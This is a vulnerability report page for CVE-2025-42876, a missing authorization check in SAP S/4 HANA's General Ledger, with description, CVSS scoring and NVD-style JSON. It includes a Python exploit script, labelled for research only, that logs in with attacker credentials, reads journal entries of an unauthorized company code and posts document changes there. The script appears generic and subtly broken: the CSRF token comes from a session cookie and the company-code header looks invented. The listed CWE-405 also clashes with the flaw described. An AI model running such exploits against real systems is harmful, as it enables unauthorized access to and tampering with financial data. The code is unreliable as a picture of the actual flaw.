Security Vulnerability Report
中文
CVE-2025-42876 CVSS 7.1 HIGH

CVE-2025-42876

Published: 2025-12-09 16:17:52
Last Modified: 2026-04-15 00:35:42

Description

Due to a Missing Authorization Check vulnerability in SAP S/4 HANA Private Cloud (Financials General Ledger), an authenticated attacker with authorization limited to a single company code could read sensitive data and post or modify documents across all company codes. Successful exploitation could result in a high impact to confidentiality and a low impact to integrity, while availability remains unaffected.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SAP S/4 HANA Private Cloud - Financials General Ledger (所有版本)
SAP S/4 HANA 2020 及更高版本 (私有云部署)
SAP Fiori Frontend Server (受影响版本待SAP官方确认)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-42876 PoC - SAP S/4 HANA Missing Authorization Check # This PoC demonstrates accessing unauthorized company codes SAP_HOST = "https://sap-system.example.com" USERNAME = "attacker_account" PASSWORD = "password123" def exploit_cve_2025_42876(): """ SAP S/4 HANA Financials General Ledger - Missing Authorization Check Allows authenticated users to access/modify documents across all company codes """ # Step 1: Authenticate and get CSRF token session = requests.Session() auth_response = session.post( f"{SAP_HOST}/sap/bc/sec/saml2/login", data={"saml2": "login"}, auth=(USERNAME, PASSWORD) ) # Step 2: Access authorized company code (legitimate) authorized_url = f"{SAP_HOST}/sap/opu/odata/sap/FIN_GL_JOURNAL_ENTRY_SRV/JournalEntrySet" authorized_response = session.get(authorized_url) print(f"Authorized access: {authorized_response.status_code}") # Step 3: Exploit - Access unauthorized company code # Change company code parameter to target different company unauthorized_url = f"{SAP_HOST}/sap/opu/odata/sap/FIN_GL_JOURNAL_ENTRY_SRV/JournalEntrySet" headers = { "X-CompanyCode": "CC_1001", # Unauthorized company code "X-CSRF-Token": session.cookies.get('SAP_SESSIONID') } exploit_response = session.get(unauthorized_url, headers=headers) print(f"Unauthorized access: {exploit_response.status_code}") # Step 4: Modify documents in unauthorized company code modify_payload = { "CompanyCode": "CC_1001", "DocumentNumber": "4900001234", "Ledger": "0L", "FiscalYear": "2025" } modify_response = session.post( f"{SAP_HOST}/sap/opu/odata/sap/FIN_GL_JOURNAL_ENTRY_SRV/JournalEntrySet", json=modify_payload, headers=headers ) print(f"Modification attempt: {modify_response.status_code}") return { "authorized_access": authorized_response.status_code == 200, "unauthorized_read": exploit_response.status_code == 200, "unauthorized_write": modify_response.status_code in [200, 201, 204] } if __name__ == "__main__": result = exploit_cve_2025_42876() print(f"Vulnerability confirmed: {any(result.values())}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42876", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:51.857", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a Missing Authorization Check vulnerability in SAP S/4 HANA Private Cloud (Financials General Ledger), an authenticated attacker with authorization limited to a single company code could read sensitive data and post or modify documents across all company codes. Successful exploitation could result in a high impact to confidentiality and a low impact to integrity, while availability remains unaffected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-405"}]}], "references": [{"url": "https://me.sap.com/notes/3672151", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}